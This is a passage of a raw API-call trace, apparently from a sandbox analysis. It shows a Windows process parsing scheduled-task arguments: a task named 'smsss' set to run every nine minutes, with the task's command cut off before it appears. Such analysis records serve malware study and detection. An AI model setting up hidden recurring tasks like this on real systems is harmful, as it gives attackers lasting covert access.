returned 6 [0074.253] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.253] lstrlenW (lpString="tn") returned 2 [0074.253] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.253] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.254] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.254] lstrlenW (lpString="|create|") returned 8 [0074.254] lstrlenW (lpString="|tn|") returned 4 [0074.254] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0074.254] SetLastError (dwErrCode=0x490) [0074.254] lstrlenW (lpString="delete") returned 6 [0074.254] lstrlenW (lpString="delete") returned 6 [0074.254] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.254] lstrlenW (lpString="tn") returned 2 [0074.254] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.254] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|delete|") returned 8 [0074.254] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.254] lstrlenW (lpString="|delete|") returned 8 [0074.254] lstrlenW (lpString="|tn|") returned 4 [0074.254] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0074.254] SetLastError (dwErrCode=0x490) [0074.255] lstrlenW (lpString="query") returned 5 [0074.255] lstrlenW (lpString="query") returned 5 [0074.255] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.255] lstrlenW (lpString="tn") returned 2 [0074.255] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.255] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|query|") returned 7 [0074.255] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.255] lstrlenW (lpString="|query|") returned 7 [0074.255] lstrlenW (lpString="|tn|") returned 4 [0074.255] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0074.255] SetLastError (dwErrCode=0x490) [0074.255] lstrlenW (lpString="change") returned 6 [0074.255] lstrlenW (lpString="change") returned 6 [0074.255] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.255] lstrlenW (lpString="tn") returned 2 [0074.256] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.256] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|change|") returned 8 [0074.256] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.256] lstrlenW (lpString="|change|") returned 8 [0074.256] lstrlenW (lpString="|tn|") returned 4 [0074.256] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0074.256] SetLastError (dwErrCode=0x490) [0074.256] lstrlenW (lpString="run") returned 3 [0074.256] lstrlenW (lpString="run") returned 3 [0074.256] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.256] lstrlenW (lpString="tn") returned 2 [0074.256] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.256] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|run|") returned 5 [0074.256] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.256] lstrlenW (lpString="|run|") returned 5 [0074.256] lstrlenW (lpString="|tn|") returned 4 [0074.257] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0074.257] SetLastError (dwErrCode=0x490) [0074.257] lstrlenW (lpString="end") returned 3 [0074.257] lstrlenW (lpString="end") returned 3 [0074.257] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.257] lstrlenW (lpString="tn") returned 2 [0074.257] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.257] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|end|") returned 5 [0074.257] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.257] lstrlenW (lpString="|end|") returned 5 [0074.257] lstrlenW (lpString="|tn|") returned 4 [0074.257] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0074.257] SetLastError (dwErrCode=0x490) [0074.257] lstrlenW (lpString="showsid") returned 7 [0074.257] lstrlenW (lpString="showsid") returned 7 [0074.258] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.258] GetProcessHeap () returned 0x370000 [0074.258] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c320) returned 1 [0074.258] GetProcessHeap () returned 0x370000 [0074.258] RtlReAllocateHeap (Heap=0x370000, Flags=0xc, Ptr=0x38c320, Size=0x16) returned 0x38c320 [0074.258] lstrlenW (lpString="tn") returned 2 [0074.258] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.258] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|showsid|") returned 9 [0074.258] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tn|") returned 4 [0074.258] lstrlenW (lpString="|showsid|") returned 9 [0074.258] lstrlenW (lpString="|tn|") returned 4 [0074.258] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0074.258] SetLastError (dwErrCode=0x490) [0074.259] SetLastError (dwErrCode=0x490) [0074.259] SetLastError (dwErrCode=0x0) [0074.259] lstrlenW (lpString="/tn") returned 3 [0074.259] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0074.259] SetLastError (dwErrCode=0x490) [0074.259] SetLastError (dwErrCode=0x0) [0074.259] lstrlenW (lpString="/tn") returned 3 [0074.259] GetProcessHeap () returned 0x370000 [0074.259] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c2c0 [0074.259] GetProcessHeap () returned 0x370000 [0074.259] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38ccf0 [0074.259] SetLastError (dwErrCode=0x0) [0074.259] SetLastError (dwErrCode=0x0) [0074.259] lstrlenW (lpString="smsss") returned 5 [0074.259] lstrlenW (lpString="-/") returned 2 [0074.259] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0074.259] SetLastError (dwErrCode=0x490) [0074.260] SetLastError (dwErrCode=0x490) [0074.260] SetLastError (dwErrCode=0x0) [0074.260] lstrlenW (lpString="smsss") returned 5 [0074.260] StrChrIW (lpStart="smsss", wMatch=0x3a) returned 0x0 [0074.260] SetLastError (dwErrCode=0x490) [0074.260] SetLastError (dwErrCode=0x0) [0074.260] lstrlenW (lpString="smsss") returned 5 [0074.260] GetProcessHeap () returned 0x370000 [0074.260] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xc) returned 0x38c350 [0074.260] GetProcessHeap () returned 0x370000 [0074.260] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd20 [0074.260] SetLastError (dwErrCode=0x0) [0074.260] SetLastError (dwErrCode=0x0) [0074.260] lstrlenW (lpString="/sc") returned 3 [0074.260] lstrlenW (lpString="-/") returned 2 [0074.260] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.260] lstrlenW (lpString="?") returned 1 [0074.260] lstrlenW (lpString="?") returned 1 [0074.261] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.261] lstrlenW (lpString="sc") returned 2 [0074.261] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.261] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|?|") returned 3 [0074.261] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.261] lstrlenW (lpString="|?|") returned 3 [0074.261] lstrlenW (lpString="|sc|") returned 4 [0074.261] SetLastError (dwErrCode=0x490) [0074.261] lstrlenW (lpString="create") returned 6 [0074.261] lstrlenW (lpString="create") returned 6 [0074.261] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.261] lstrlenW (lpString="sc") returned 2 [0074.261] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.261] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.261] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.262] lstrlenW (lpString="|create|") returned 8 [0074.262] lstrlenW (lpString="|sc|") returned 4 [0074.262] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0074.262] SetLastError (dwErrCode=0x490) [0074.262] lstrlenW (lpString="delete") returned 6 [0074.262] lstrlenW (lpString="delete") returned 6 [0074.262] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.262] lstrlenW (lpString="sc") returned 2 [0074.262] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.262] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|delete|") returned 8 [0074.262] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.262] lstrlenW (lpString="|delete|") returned 8 [0074.262] lstrlenW (lpString="|sc|") returned 4 [0074.262] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0074.262] SetLastError (dwErrCode=0x490) [0074.263] lstrlenW (lpString="query") returned 5 [0074.263] lstrlenW (lpString="query") returned 5 [0074.263] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.263] lstrlenW (lpString="sc") returned 2 [0074.263] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.263] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|query|") returned 7 [0074.263] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.263] lstrlenW (lpString="|query|") returned 7 [0074.263] lstrlenW (lpString="|sc|") returned 4 [0074.263] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0074.263] SetLastError (dwErrCode=0x490) [0074.263] lstrlenW (lpString="change") returned 6 [0074.263] lstrlenW (lpString="change") returned 6 [0074.263] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.263] lstrlenW (lpString="sc") returned 2 [0074.264] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.264] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|change|") returned 8 [0074.264] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.264] lstrlenW (lpString="|change|") returned 8 [0074.264] lstrlenW (lpString="|sc|") returned 4 [0074.264] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0074.264] SetLastError (dwErrCode=0x490) [0074.264] lstrlenW (lpString="run") returned 3 [0074.264] lstrlenW (lpString="run") returned 3 [0074.264] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.264] lstrlenW (lpString="sc") returned 2 [0074.264] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.264] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|run|") returned 5 [0074.264] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.265] lstrlenW (lpString="|run|") returned 5 [0074.265] lstrlenW (lpString="|sc|") returned 4 [0074.265] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0074.265] SetLastError (dwErrCode=0x490) [0074.265] lstrlenW (lpString="end") returned 3 [0074.265] lstrlenW (lpString="end") returned 3 [0074.265] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.265] lstrlenW (lpString="sc") returned 2 [0074.265] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.265] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|end|") returned 5 [0074.265] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.265] lstrlenW (lpString="|end|") returned 5 [0074.265] lstrlenW (lpString="|sc|") returned 4 [0074.265] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0074.265] SetLastError (dwErrCode=0x490) [0074.265] lstrlenW (lpString="showsid") returned 7 [0074.266] lstrlenW (lpString="showsid") returned 7 [0074.266] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.266] lstrlenW (lpString="sc") returned 2 [0074.266] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.266] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|showsid|") returned 9 [0074.266] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|sc|") returned 4 [0074.266] lstrlenW (lpString="|showsid|") returned 9 [0074.266] lstrlenW (lpString="|sc|") returned 4 [0074.266] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0074.266] SetLastError (dwErrCode=0x490) [0074.266] SetLastError (dwErrCode=0x490) [0074.266] SetLastError (dwErrCode=0x0) [0074.266] lstrlenW (lpString="/sc") returned 3 [0074.266] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0074.266] SetLastError (dwErrCode=0x490) [0074.266] SetLastError (dwErrCode=0x0) [0074.267] lstrlenW (lpString="/sc") returned 3 [0074.267] GetProcessHeap () returned 0x370000 [0074.267] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c370 [0074.267] GetProcessHeap () returned 0x370000 [0074.267] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd50 [0074.267] SetLastError (dwErrCode=0x0) [0074.267] SetLastError (dwErrCode=0x0) [0074.267] lstrlenW (lpString="MINUTE") returned 6 [0074.267] lstrlenW (lpString="-/") returned 2 [0074.267] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0074.267] SetLastError (dwErrCode=0x490) [0074.267] SetLastError (dwErrCode=0x490) [0074.267] SetLastError (dwErrCode=0x0) [0074.267] lstrlenW (lpString="MINUTE") returned 6 [0074.267] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0074.267] SetLastError (dwErrCode=0x490) [0074.267] SetLastError (dwErrCode=0x0) [0074.267] lstrlenW (lpString="MINUTE") returned 6 [0074.268] GetProcessHeap () returned 0x370000 [0074.268] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0xe) returned 0x38c390 [0074.268] GetProcessHeap () returned 0x370000 [0074.268] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cd80 [0074.268] SetLastError (dwErrCode=0x0) [0074.268] SetLastError (dwErrCode=0x0) [0074.268] lstrlenW (lpString="/mo") returned 3 [0074.268] lstrlenW (lpString="-/") returned 2 [0074.268] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.268] lstrlenW (lpString="?") returned 1 [0074.268] lstrlenW (lpString="?") returned 1 [0074.268] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.268] lstrlenW (lpString="mo") returned 2 [0074.268] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.268] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|?|") returned 3 [0074.268] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.269] lstrlenW (lpString="|?|") returned 3 [0074.269] lstrlenW (lpString="|mo|") returned 4 [0074.269] SetLastError (dwErrCode=0x490) [0074.269] lstrlenW (lpString="create") returned 6 [0074.269] lstrlenW (lpString="create") returned 6 [0074.269] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.269] lstrlenW (lpString="mo") returned 2 [0074.269] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.269] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.269] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.269] lstrlenW (lpString="|create|") returned 8 [0074.269] lstrlenW (lpString="|mo|") returned 4 [0074.269] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0074.269] SetLastError (dwErrCode=0x490) [0074.269] lstrlenW (lpString="delete") returned 6 [0074.269] lstrlenW (lpString="delete") returned 6 [0074.270] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.270] lstrlenW (lpString="mo") returned 2 [0074.270] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.270] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|delete|") returned 8 [0074.270] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.270] lstrlenW (lpString="|delete|") returned 8 [0074.270] lstrlenW (lpString="|mo|") returned 4 [0074.270] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0074.270] SetLastError (dwErrCode=0x490) [0074.270] lstrlenW (lpString="query") returned 5 [0074.270] lstrlenW (lpString="query") returned 5 [0074.270] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.270] lstrlenW (lpString="mo") returned 2 [0074.270] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.270] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|query|") returned 7 [0074.271] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.271] lstrlenW (lpString="|query|") returned 7 [0074.271] lstrlenW (lpString="|mo|") returned 4 [0074.271] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0074.271] SetLastError (dwErrCode=0x490) [0074.271] lstrlenW (lpString="change") returned 6 [0074.271] lstrlenW (lpString="change") returned 6 [0074.271] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.271] lstrlenW (lpString="mo") returned 2 [0074.271] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.271] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|change|") returned 8 [0074.271] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.271] lstrlenW (lpString="|change|") returned 8 [0074.271] lstrlenW (lpString="|mo|") returned 4 [0074.271] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0074.271] SetLastError (dwErrCode=0x490) [0074.271] lstrlenW (lpString="run") returned 3 [0074.272] lstrlenW (lpString="run") returned 3 [0074.272] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.272] lstrlenW (lpString="mo") returned 2 [0074.272] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.272] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|run|") returned 5 [0074.272] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.272] lstrlenW (lpString="|run|") returned 5 [0074.272] lstrlenW (lpString="|mo|") returned 4 [0074.272] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0074.272] SetLastError (dwErrCode=0x490) [0074.272] lstrlenW (lpString="end") returned 3 [0074.272] lstrlenW (lpString="end") returned 3 [0074.272] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.272] lstrlenW (lpString="mo") returned 2 [0074.272] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.273] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|end|") returned 5 [0074.273] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.273] lstrlenW (lpString="|end|") returned 5 [0074.273] lstrlenW (lpString="|mo|") returned 4 [0074.273] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0074.273] SetLastError (dwErrCode=0x490) [0074.273] lstrlenW (lpString="showsid") returned 7 [0074.273] lstrlenW (lpString="showsid") returned 7 [0074.273] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.273] lstrlenW (lpString="mo") returned 2 [0074.273] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.273] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|showsid|") returned 9 [0074.273] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|mo|") returned 4 [0074.273] lstrlenW (lpString="|showsid|") returned 9 [0074.273] lstrlenW (lpString="|mo|") returned 4 [0074.273] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0074.274] SetLastError (dwErrCode=0x490) [0074.274] SetLastError (dwErrCode=0x490) [0074.274] SetLastError (dwErrCode=0x0) [0074.274] lstrlenW (lpString="/mo") returned 3 [0074.274] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0074.274] SetLastError (dwErrCode=0x490) [0074.274] SetLastError (dwErrCode=0x0) [0074.274] lstrlenW (lpString="/mo") returned 3 [0074.274] GetProcessHeap () returned 0x370000 [0074.274] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x8) returned 0x38c3b0 [0074.274] GetProcessHeap () returned 0x370000 [0074.274] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cdb0 [0074.274] SetLastError (dwErrCode=0x0) [0074.274] SetLastError (dwErrCode=0x0) [0074.274] lstrlenW (lpString="9") returned 1 [0074.274] SetLastError (dwErrCode=0x490) [0074.274] SetLastError (dwErrCode=0x0) [0074.275] lstrlenW (lpString="9") returned 1 [0074.275] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0074.275] SetLastError (dwErrCode=0x490) [0074.275] SetLastError (dwErrCode=0x0) [0074.275] lstrlenW (lpString="9") returned 1 [0074.275] GetProcessHeap () returned 0x370000 [0074.275] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x4) returned 0x38c3d0 [0074.275] GetProcessHeap () returned 0x370000 [0074.275] RtlAllocateHeap (HeapHandle=0x370000, Flags=0xc, Size=0x20) returned 0x38cde0 [0074.275] SetLastError (dwErrCode=0x0) [0074.275] SetLastError (dwErrCode=0x0) [0074.275] lstrlenW (lpString="/tr") returned 3 [0074.275] lstrlenW (lpString="-/") returned 2 [0074.275] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.275] lstrlenW (lpString="?") returned 1 [0074.275] lstrlenW (lpString="?") returned 1 [0074.275] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.276] lstrlenW (lpString="tr") returned 2 [0074.276] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.276] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|?|") returned 3 [0074.276] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.276] lstrlenW (lpString="|?|") returned 3 [0074.276] lstrlenW (lpString="|tr|") returned 4 [0074.276] SetLastError (dwErrCode=0x490) [0074.276] lstrlenW (lpString="create") returned 6 [0074.276] lstrlenW (lpString="create") returned 6 [0074.276] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.276] lstrlenW (lpString="tr") returned 2 [0074.276] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.276] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|create|") returned 8 [0074.276] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.276] lstrlenW (lpString="|create|") returned 8 [0074.277] lstrlenW (lpString="|tr|") returned 4 [0074.277] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0074.277] SetLastError (dwErrCode=0x490) [0074.277] lstrlenW (lpString="delete") returned 6 [0074.277] lstrlenW (lpString="delete") returned 6 [0074.277] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.277] lstrlenW (lpString="tr") returned 2 [0074.277] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.277] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|delete|") returned 8 [0074.277] _vsnwprintf (in: _Buffer=0x38c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|tr|") returned 4 [0074.277] lstrlenW (lpString="|delete|") returned 8 [0074.277] lstrlenW (lpString="|tr|") returned 4 [0074.277] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0074.277] SetLastError (dwErrCode=0x490) [0074.277] lstrlenW (lpString="query") returned 5 [0074.277] lstrlenW (lpString="query") returned 5 [0074.278] _memicmp (_Buf1=0x38c1a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.278] lstrlenW (lpString="tr") returned 2 [0074.278] _memicmp (_Buf1=0x38c2e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.278] _vsnwprintf (in: _Buffer=0x38c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x27f658 | out: _Buffer="|query|") returned 7 [0074.278] 